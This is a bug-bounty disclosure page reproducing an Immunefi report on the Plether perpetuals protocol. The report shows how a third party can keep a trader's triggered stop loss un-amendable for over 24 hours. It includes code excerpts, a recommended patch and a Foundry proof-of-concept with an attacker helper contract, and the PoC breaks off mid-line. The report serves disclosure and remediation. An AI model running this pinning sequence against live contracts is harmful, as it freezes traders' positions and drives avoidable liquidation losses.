Skip to content
Business logic Audit finding Advanced

Any account can lock a trader's triggered stop loss open for more than 24 hours by denying the owner's only limit-amend lane, leaving the position impossible to close or cancel

A triggered stop-loss protection can be kept permanently un-amendable by any third party: another account's position pushes the close's gross debit over the trader's stored ceiling, which latches the protection, and a permissionless retry immediately re-queues it so the owner's only amend lane always reverts. The trader's position cannot be closed, cancelled or replaced for over 24 hours and is later liquidated at a larger loss.

jh42 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#99529 [SC-High] Any account can lock a trader's triggered stop loss open for more than 24 hours by denying the owner's only limit-amend lane, leaving the position impossible to close or cancel

Submitted on Nov 14th 2026 at 03:33:07 UTC by @jh42 for Audit Competition | Plether

Description

Brief/Intro

Once a stop loss triggers, the trader can neither close nor cancel the position. Any account can make sure the owner never gets that window. The protection copies the trader's ceilings into every trigger and retry close, but the compared quantities include live, skew-driven VPI, so another account's position pushes the stop-loss close over a ceiling and latches the protection. retryPositionProtectionClose is permissionless, so a contract settles the failed attempt and retries in the same transaction: the protection goes Latched -> Triggered inside it and the owner's amend always reverts.

Root cause

  • The ceilings and the owner's amend lane were introduced together by the fix for the pre-audit finding on keeper retries without trader limits (MED-9). That finding was missing ceilings, so a keeper could close a trader beyond what the trader accepted. This is a different bug, introduced by the fix: the ceilings can be breached by a third party, and the amend lane that is meant to recover from it can be kept shut by a third party.
  • The fix's own acknowledgement relies on the lane: "Only the owner may amend the retained ceilings while protection is Latched; keepers cannot relax them." The natspec says the same (IPositionProtectionActions.sol:32-33: "Lets the owner change close limits after a failed attempt relatches, before a fresh retry") and so does CANONICAL_ENTRYPOINTS.md:145-148.
  • The reference client documents the same ordering (packages/perps-aa-client/README.md:203-205): the amend builder "lets the owner change the close limits of a Latched protection before a permissionless retry". The attack makes the permissionless retry always come first, so the documented window never opens.
  1. The stored ceilings are copied into every attempt, and the compared quantities are live. VPI is computed from the live pre and post skew and the pool depth, and the gross debit includes it.
Solidity
// OrderLiquidationBatchLogic.sol:674-677 (_protectionCloseRequest)
request.bounds.maxExecutionNotionalAssets = limits.maxExecutionNotionalAssets;
request.bounds.maxGrossAccountDebitAssets = limits.maxGrossAccountDebitAssets;
request.bounds.maxActionChargeAssets = limits.maxActionChargeAssets;
request.bounds.maxExplicitFeesAssets = limits.maxExplicitFeesAssets;

// CloseAccountingLib.sol:107-111
if (inputs.poolDepthAssets != 0) {
    state.vpiDeltaAssets = CfdMath.calculateVPI(
        inputs.preSkewAssets, inputs.postSkewAssets, inputs.poolDepthAssets, inputs.vpiFactor
    );
}

// CfdOrderPolicyEvaluatorBase.sol:410-411 and :504-508
assessment.grossAccountDebitAssets = delta.pricePnlClaimConsumedAssets + delta.pricePnlPledgeConsumedAssets
    + delta.realizedCarryAssets + delta.actionChargeCollectedAssets + executionBountyAssets;
_requireMaximum(
    OrderV3Types.ConstraintKind.GrossAccountDebit, assessment.grossAccountDebitAssets, bounds.maxGrossAccountDebitAssets
);
  1. A breach is terminal for that attempt, and every terminal reason except four relatches the protection instead of failing it. ConstraintViolation and Expired are both relatch reasons.
Solidity
// OrderRouterExecutionSidecar.sol:879-892 classifies CfdOrderPolicyEvaluator__ConstraintViolation as terminal

// PositionProtectionBook.sol:1017-1022
function _isFailedProtectionAttemptReason(OrderV3Types.TerminalReason reason) private pure returns (bool) {
    return reason != OrderV3Types.TerminalReason.None && reason != OrderV3Types.TerminalReason.Executed
        && reason != OrderV3Types.TerminalReason.RiskOff && reason != OrderV3Types.TerminalReason.AccountLiquidated;
}

// PositionProtectionBook.sol:662-667, called from OrderRouter.sol:324-329 while the failed attempt is finalized
delete _attemptProtectionIds[orderId];
retained = _positionMatches(protection);
emit PositionProtectionCloseAttemptFailed(protectionId, account, orderId, reason, retained);
if (retained) {
    protection.status = PositionProtectionTypes.PositionProtectionStatus.Latched;
    return true;
}
  1. The owner's only lever on the ceilings needs Latched and an empty queue. Every other owner action is closed while the protection is Triggered.
Solidity
// PositionProtectionBook.sol:315-328
function amendLatchedPositionProtectionCloseLimits(uint64 protectionId, CloseFinancialLimits calldata limits) external nonReentrant {
    StoredProtection storage protection = _ownedActiveProtection(protectionId, msg.sender);
    if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
        revert OrderRouter__ProtectionNotLatched();
    }
    if (IPositionProtectionRouterHost(ROUTER).pendingOrderCounts(msg.sender) != 0) {
        revert OrderRouter__PendingOrdersExist();
    }
    _setCloseLimits(protection, limits);
    _emitCloseLimitsUpdated(protection);
}

// replace: PositionProtectionBook.sol:272-277 (needs PendingOpen or Armed)
// cancel: :414-419 (needs PendingOpen or Armed)
// cancel and commit close: :346-348 (needs Armed)
// ordinary close: OrderLiquidationBatchLogic.sol:313-315
if (enforceProtectionLock && host.positionProtectionBook().activePositionProtectionId(account) != 0) {
    revert OrderRouter__ProtectionActive();
}
  1. The retry is callable by anyone, immediately, and re-queues the attempt. It only needs the status to be Latched and no pending order, and both hold the moment the failed attempt has been finalized.
Solidity
// PositionProtectionBook.sol:382-406
function retryPositionProtectionClose(uint64 protectionId) external nonReentrant returns (uint64 linkedOrderId) {
    StoredProtection storage protection = _activeProtection(protectionId);
    if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
        revert OrderRouter__ProtectionNotLatched();
    }
    _requireMatchingPosition(protection);
    IPositionProtectionRouterHost router = IPositionProtectionRouterHost(ROUTER);
    if (router.pendingOrderCounts(protection.account) != 0) {
        revert OrderRouter__PendingOrdersExist();
    }
    ...
    linkedOrderId = IPositionProtectionCloseAttemptHost(ROUTER)
        .commitProtectionCloseAttempt(protectionId, protection.account, protection.side, protection.size);
    ...
    _recordCloseAttempt(protection, linkedOrderId);     // :564-578 sets status = Triggered
}
  • A contract that calls executeOrder or expireOrder on the live attempt and then retryPositionProtectionClose in the same transaction never leaves Latched visible. There is no owner-exclusive period after a latch. A retried attempt carries a zero bounty (SECURITY.md:1356-1359), so no keeper is paid to execute it inside its 60 second window.
  • The amend lane is the only owner exit from this state. It is denied in every block in which the attacker acts.
  • SECURITY.md:1356-1359 tells operators to alert on a prolonged Latched state without a live child. In this attack the status is Triggered with a live child after every transaction (asserted in every cycle of the PoC), so that alert never fires.

Impact

  • Release parameters (DEPLOYMENT.md:131-142), two permissionless actors, one price path. All numbers come from the PoC below.
  • Alice's 200,000 long with 2,000 margin cannot be closed, cancelled or replaced for 25 cycles (more than 24 hours), and she cannot be liquidated in any of them (asserted every cycle). When the mark then moves on she loses her whole margin: 2,000.40 against 760.86 when the stop executes.
  • The 1,239.54 difference goes to the liquidator (100.00) and the pool.
  • Preconditions, with the code behind each:

(1) Alice's protection has finite ceilings. CANONICAL_ENTRYPOINTS.md:121-124 tells integrations to set them from the trader's intended close policy and not to assume an unlimited default, and the reference client requires all four ceilings and inserts no unlimited defaults (packages/perps-aa-client/README.md:208-214: "use maxUint256 only when unlimited authority is intended").

(2) Another account's position breaches a ceiling. Bob opens a 300,000 short through the public router. The book flips from net long 200,000 to net short 100,000, closing Alice's long now adds skew, and its gross debit rises from 600.22 to 1,082.04 against the 1,000.00 ceiling (GrossAccountDebit, decoded from the attempt's receipt).

(3) Alice cannot act between the attacker's transactions. From Triggered, amend reverts ProtectionNotLatched, cancel, cancel-and-close and replace revert ProtectionNotArmed, and a close commit reverts ProtectionActive. Her two-step path is to expire the stale attempt, which latches it, and then amend.

(4) No keeper is paid to execute a retried attempt (SECURITY.md:1356-1359), and the PoC leaves each one to expire. The attacker's contract settles and re-queues once per hour.

(5) The mark stays between Alice's stop and her liquidation threshold during the pin, so nobody can end it by liquidating her. The PoC feeds +30 bps at the trigger, holds +50 bps through the pin (her threshold is about +65 bps) and asserts in every cycle that she is not liquidatable. The mark moves to +95 bps only after the 24 hours, when Bob's account liquidates her.

  • The scope lists "Temporary freezing of funds for at least 24 hours" as High. The pin is demonstrated for more than 24 hours with the position open, every owner exit closed and no liquidation available to end it.

User story

  1. Alice opens a 200,000 USDG long with 2,000 USDG margin at 1.0000 and arms a stop loss at +30 bps with the ceilings above. Without an attacker the stop executes: the close debits 600.22 (including a 199.60 VPI rebate) and Alice loses 760.86.
  2. Bob opens a 300,000 USDG short with 3,000 margin through the public router.
  3. Bob's second account triggers the stop and receives the 0.20 trigger bounty. The pin contract executes the first attempt in the first block that allows it: gross debit 1,082.04 against 1,000.00, ConstraintViolation, protection Latched. In the same transaction it retries and the protection is Triggered. Alice's amend reverts.
  4. Once per hour the pin contract expires the stale attempt and retries in one transaction. The mark is held at +50 bps, where Alice cannot be liquidated (asserted in every cycle). 25 cycles pass the 24 hour mark. In the 11th cycle Alice expires the attempt herself and Bob's retry is sequenced before her amend, which reverts. At the end Alice holds a 1,000.00 unrealised loss, and amend, cancel, cancel-and-close, replace and a close commit all revert.
  5. After the 24 hours the mark moves to +95 bps. Bob's second account liquidates Alice: 1,720.40 of equity is taken, 100.00 to the liquidator and 1,620.40 to the pool. Alice's total loss is 2,000.40.
  6. Bob closes his short at the same mark: 2,850.00 of price gain and 254.64 of fees, bounties and carry, 2,595.36 net.

Recommendation

  • Let the owner amend the ceilings while the protection is Triggered as well as Latched, and drop the empty-queue check. A live attempt keeps the bounds it was registered with, and the amended ceilings bind the next retry, so the owner can restore execution whatever the attacker's retry timing. The empty-queue check only stops the amend while an attempt is live, which is the state the owner needs to act in.
Diff
--- a/packages/perps/src/PositionProtectionBook.sol
+++ b/packages/perps/src/PositionProtectionBook.sol
@@ -317,12 +317,15 @@
         PositionProtectionTypes.CloseFinancialLimits calldata limits
     ) external nonReentrant {
         StoredProtection storage protection = _ownedActiveProtection(protectionId, msg.sender);
-        if (protection.status != PositionProtectionTypes.PositionProtectionStatus.Latched) {
+        PositionProtectionTypes.PositionProtectionStatus status = protection.status;
+        if (
+            status != PositionProtectionTypes.PositionProtectionStatus.Latched
+                && status != PositionProtectionTypes.PositionProtectionStatus.Triggered
+        ) {
             revert OrderRouter__ProtectionNotLatched();
         }
-        if (IPositionProtectionRouterHost(ROUTER).pendingOrderCounts(msg.sender) != 0) {
-            revert OrderRouter__PendingOrdersExist();
-        }
+        // A live attempt keeps the bounds it was registered with; the amended ceilings bind only the next retry,
+        // so the owner can always restore execution regardless of a third party's retry timing.
         _setCloseLimits(protection, limits);
         _emitCloseLimitsUpdated(protection);
     }
  • With this patch applied to a scratch copy of the contracts, the PoC below fails at its first lock assertion (next call did not revert as expected): Alice's amend after the first attempt succeeds.
  • In a second scratch test on the patched copy, Alice amends from Triggered, the attacker's next retry copies the widened ceilings, the next attempt executes and Alice's position is closed at the stop mark.
  • On the patched copy test/perps/spec/trader/PositionProtection.t.sol passes 103 of 104 tests. The one failure, test_ProtectionCloseLimits_OnlyOwnerCanAmendLatchedLimitsForNextRetry, asserts the old rule that amend reverts while a child is live.
  • To stop a third party's position from breaching the ceilings in the first place, also keep skew-driven VPI out of the stored ceilings, or re-arm a ConstraintViolation attempt instead of latching it.
  • Also give the owner an exit that does not depend on the ceilings or on a retry race: let cancelPositionProtectionAndCommitClose run from Latched, so the owner can cancel the protection and commit an ordinary close.
  • Update the natspec in IPositionProtectionActions.sol:32-33, CANONICAL_ENTRYPOINTS.md:145-148 and the Latched text in SECURITY.md:547-552.

References

Proof of Concept

Bash
forge test --root packages/perps --match-path test/perps/ProtectionPin.t.sol -vv
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "./BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {IOrderRouterErrors} from "@plether/perps/interfaces/IOrderRouterErrors.sol";
import {IPositionProtectionActions} from "@plether/perps/interfaces/IPositionProtectionActions.sol";
import {IPositionProtectionViews} from "@plether/perps/interfaces/IPositionProtectionViews.sol";
import {PositionProtectionTypes} from "@plether/perps/interfaces/PositionProtectionTypes.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {Vm} from "forge-std/Vm.sol";

interface IProtectionBook is IPositionProtectionActions, IPositionProtectionViews {}

interface IPinRouter {

    function expireOrder(
        uint64 orderId
    ) external returns (OrderV3Types.ExecutionResult memory);

    function executeOrder(
        uint64 orderId,
        bytes[] calldata pythUpdateData
    ) external payable returns (OrderV3Types.ExecutionResult memory);

}

contract PinHelper {

    IPinRouter public immutable ROUTER;
    IPositionProtectionActions public immutable BOOK;

    constructor(
        address router,
        address book
    ) {
        ROUTER = IPinRouter(router);
        BOOK = IPositionProtectionActions(book);
    }

    function executeAndRetry(
        uint64 attemptId,
        uint64 protectionId,
        bytes[] calldata pythUpdateData
    ) external returns (OrderV3Types.ExecutionResult memory result, uint64 nextAttemptId) {
        result = ROUTER.executeOrder(attemptId, pythUpdateData);
        nextAttemptId = BOOK.retryPositionProtectionClose(protectionId);
    }

    function expireAndRetry(
        uint64 attemptId,
        uint64 protectionId
    ) external returns (uint64 nextAttemptId) {
        ROUTER.expireOrder(attemptId);
        nextAttemptId = BOOK.retryPositionProtectionClose(protectionId);
    }

}

contract ProtectionPinPoC is BasePerpTest {

    IProtectionBook internal book;
    PinHelper internal pinner;

    address internal constant ALICE = address(0xA11CE); // victim: long 200k with a stop loss, plain EOA
    address internal constant BOB = address(0xB0B); // attacker: holds the 300k short that moves the skew
    address internal constant BOB_KEEPER = address(0xB0B2); // attacker's position-free account: trigger caller, liquidator
    address internal constant KEEPER = address(0x7106); // honest keeper used in the control run
    address internal constant PINNER_EOA = address(0x91AA); // sender of the pin transactions

    uint256 internal constant P0 = 1e8; // entry mark 1.0000
    uint256 internal constant STOP = 100_300_000; // the long's stop loss: +30 bps against it
    uint256 internal constant HOLD_MARK = 100_500_000; // +50 bps: between the stop and Alice's liquidation threshold
    uint256 internal constant LIQ_MARK = 100_950_000; // +95 bps against it: liquidation threshold crossed
    uint256 internal constant SIZE = 200_000e18;
    uint256 internal constant MARGIN = 2_000e6; // 1% margin, 100x
    uint256 internal constant ATTACK_SHORT = 300_000e18;
    uint256 internal constant ATTACK_MARGIN = 3_000e6;
    uint256 internal constant ALICE_FUNDS = 20_000e6;
    uint256 internal constant BOB_FUNDS = 400_000e6;

    bytes32 internal constant POSITION_CLOSED = keccak256("PositionClosed(address,uint8,uint256,uint256,int256)");

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function setUp() public override {
        super.setUp();
        book = IProtectionBook(address(router.positionProtectionBook()));
        pinner = new PinHelper(address(router), address(book));
        _fundTrader(ALICE, ALICE_FUNDS);
        _fundTrader(BOB, BOB_FUNDS);
        _fundTrader(BOB_KEEPER, 1e6);
        _refreshMark(P0);
    }

    function test_ThirdPartySkewLatchesStopLossAndPermissionlessRetryPinsItUntilLiquidation() public {
        // ---- Control: same position, same protection, same ceilings, no attacker. The stop executes. ----
        uint256 snapshot = vm.snapshotState();
        uint64 controlId = _openAliceAndArmStop();
        uint64 controlAttempt = _trigger(KEEPER, controlId);
        vm.recordLogs();
        OrderV3Types.ExecutionResult memory control = _execute(KEEPER, controlAttempt, STOP);
        OrderV3Types.OrderEconomics memory controlEconomics = _firstReceipt(vm.getRecordedLogs()).economics;
        assertEq(uint8(control.status), uint8(OrderV3Types.LifecycleStatus.Executed), "control: the stop executes");
        assertEq(_size(ALICE), 0, "control: Alice is out at the stop");
        assertLt(controlEconomics.grossAccountDebitAssets, 1_000e6, "control: the close is inside Alice's ceiling");
        uint256 controlLoss = ALICE_FUNDS - _total(ALICE);
        vm.revertToState(snapshot);

        // ---- Attack ----
        uint64 id = _openAliceAndArmStop();
        uint256 poolArmed = pool.totalAssets();
        uint256 aliceOpeningCost = ALICE_FUNDS - _total(ALICE);

        // Bob opens a 300k short through the public router. The book flips from net long 200k to net short 100k, so
        // closing Alice's long now adds skew and is charged VPI.
        vm.recordLogs();
        vm.prank(BOB);
        uint64 bobOpen = router.commitOrder(CfdTypes.Side.SHORT, ATTACK_SHORT, ATTACK_MARGIN, P0, false);
        router.executeOrder(bobOpen, _mockPythUpdateData(P0));
        assertEq(_size(BOB), ATTACK_SHORT, "Bob's short is open");

        // His position-free account triggers Alice's stop (permissionless; it is paid her reserved trigger bounty).
        // The first attempt fails on her gross-debit ceiling because of his skew. The pin contract settles it and
        // re-queues in the same transaction.
        uint256 keeperStart = clearinghouse.balanceAssets(BOB_KEEPER);
        uint64 attempt = _trigger(BOB_KEEPER, id);
        uint256 triggerBounty = clearinghouse.balanceAssets(BOB_KEEPER) - keeperStart;
        bytes[] memory data = _mockPythUpdateData(STOP);
        vm.prank(PINNER_EOA);
        OrderV3Types.ExecutionResult memory first;
        (first, attempt) = pinner.executeAndRetry(attempt, id, data);
        assertEq(
            uint8(first.terminalReason), uint8(OrderV3Types.TerminalReason.ConstraintViolation), "first attempt fails"
        );
        assertEq(uint8(_status(id)), uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered), "Triggered");
        _expectAmendLocked(id);

        // ---- Pin for more than 24 hours: one permissionless expire + retry per cycle. The mark is held at +50 bps, past
        //      the stop and short of Alice's liquidation threshold, so nobody can end the pin by liquidating her. ----
        uint256 pinStart = vm.getBlockTimestamp();
        uint256 cycles;
        uint256 pinGas;
        while (vm.getBlockTimestamp() < pinStart + 24 hours + 1 hours) {
            uint64 deadline = router.lifecycleBook().orderTiming(attempt).executionDeadline;
            vm.warp(uint256(deadline) + 1 hours);
            _refreshMark(HOLD_MARK);
            assertFalse(publicLens.getPosition(ALICE).liquidatable, "Alice cannot be liquidated during the pin");
            if (cycles == 10) {
                attempt = _ownerTriesTwoStepRecovery(id, attempt);
            } else {
                uint256 gasBefore = gasleft();
                vm.prank(PINNER_EOA);
                attempt = pinner.expireAndRetry(attempt, id);
                pinGas += gasBefore - gasleft();
            }
            ++cycles;
            assertEq(uint8(_status(id)), uint8(PositionProtectionTypes.PositionProtectionStatus.Triggered));
            _expectAmendLocked(id);
        }
        assertGe(vm.getBlockTimestamp() - pinStart, 24 hours, "pinned for at least 24 hours");
        assertEq(_size(ALICE), SIZE, "the position is still open");
        int256 pinnedPnl = publicLens.getPosition(ALICE).unrealizedPnlAssets;
        assertLt(pinnedPnl, -900e6, "Alice holds a loss she cannot realise at her stop");
        _assertEveryOwnerExitIsClosed(id);

        // ---- The mark then moves to +95 bps and Bob's account liquidates Alice (permissionless) ----
        _refreshMark(LIQ_MARK);
        assertTrue(publicLens.getPosition(ALICE).liquidatable, "Alice is liquidatable");
        uint256 aliceBeforeLiq = _total(ALICE);
        uint256 poolBeforeLiq = pool.totalAssets();
        uint256 keeperBeforeLiq = clearinghouse.balanceAssets(BOB_KEEPER);
        bytes[] memory liqData = _mockPythUpdateData(LIQ_MARK);
        vm.prank(BOB_KEEPER);
        router.executeLiquidation(ALICE, liqData);
        assertEq(_size(ALICE), 0, "Alice is liquidated");
        uint256 liquidationBounty = clearinghouse.balanceAssets(BOB_KEEPER) - keeperBeforeLiq;
        uint256 aliceLossAtLiq = aliceBeforeLiq - _total(ALICE);
        uint256 poolGainAtLiq = pool.totalAssets() - poolBeforeLiq;

        // ---- Bob closes his short at the same mark so that his all-in result is realised ----
        vm.prank(BOB);
        uint64 bobClose = router.commitOrder(CfdTypes.Side.SHORT, ATTACK_SHORT, 0, 0, true);
        OrderV3Types.ExecutionResult memory closed = _execute(KEEPER, bobClose, LIQ_MARK);
        assertEq(uint8(closed.status), uint8(OrderV3Types.LifecycleStatus.Executed), "Bob's short closes");

        Vm.Log[] memory logs = vm.getRecordedLogs();
        OrderV3Types.FailureDetails memory failure = _firstConstraintFailure(logs);
        int256 shortPriceGain = _realizedPnl(logs, BOB);
        uint256 attackLoss = ALICE_FUNDS - _total(ALICE);
        uint256 bobNet = _total(BOB) - BOB_FUNDS;

        emit log_named_uint("cycles to cross 24 h", cycles);
        emit log_named_decimal_int("Alice unrealised PnL while pinned    ", pinnedPnl, 6);
        emit log_named_uint("average gas of one expire + retry tx", pinGas / (cycles - 1));
        emit log_named_decimal_uint("control: gross debit of the close   ", controlEconomics.grossAccountDebitAssets, 6);
        emit log_named_decimal_int("control: VPI of the close (rebate<0)", controlEconomics.vpiAss

The original report as published on Immunefi, by jh42. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the amend function only accepts the Latched state and an empty order queue, while a permissionless retry can move the protection from Latched back to Triggered in the same transaction, so the owner's recovery window can be denied indefinitely.

Impact

The trader's position could be frozen for more than 24 hours with every owner exit closed and no liquidation available to end it, and she later lost her whole margin of 2,000.40 instead of 760.86.

What the attacker needed

Victim has a triggered stop loss; finite close ceilings set; attacker holds a large opposite position; attacker can call retry permissionlessly

The fix

The owner should be allowed to amend the ceilings while the protection is Triggered as well as Latched, with the empty-queue check dropped, and skew-driven VPI should be kept out of the stored ceilings or a constraint-violation attempt re-armed instead of latched.

How it was found

  1. Alice opens a long position and arms a stop loss with finite close ceilings.
  2. Bob opens a large opposite position so that closing Alice's long would breach her gross-debit ceiling.
  3. Bob's second account triggers the stop; the attempt fails with a constraint violation and the protection latches.
  4. In the same transaction the attacker retries the close, moving the protection back to Triggered.
  5. Once per hour the attacker expires the stale attempt and retries again, keeping the owner's amend reverting.
  6. After more than 24 hours the mark moves and Alice is liquidated at a larger loss.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader set a stop loss with limits on how much the closing trade may cost. Another user can open a large opposite position so that closing the stop loss would exceed those limits, which makes the system pause the protection. Because anyone can immediately retry the paused close, the trader never gets a chance to raise the limits, so the position stays stuck until it is liquidated.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by jh42

View all

6 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.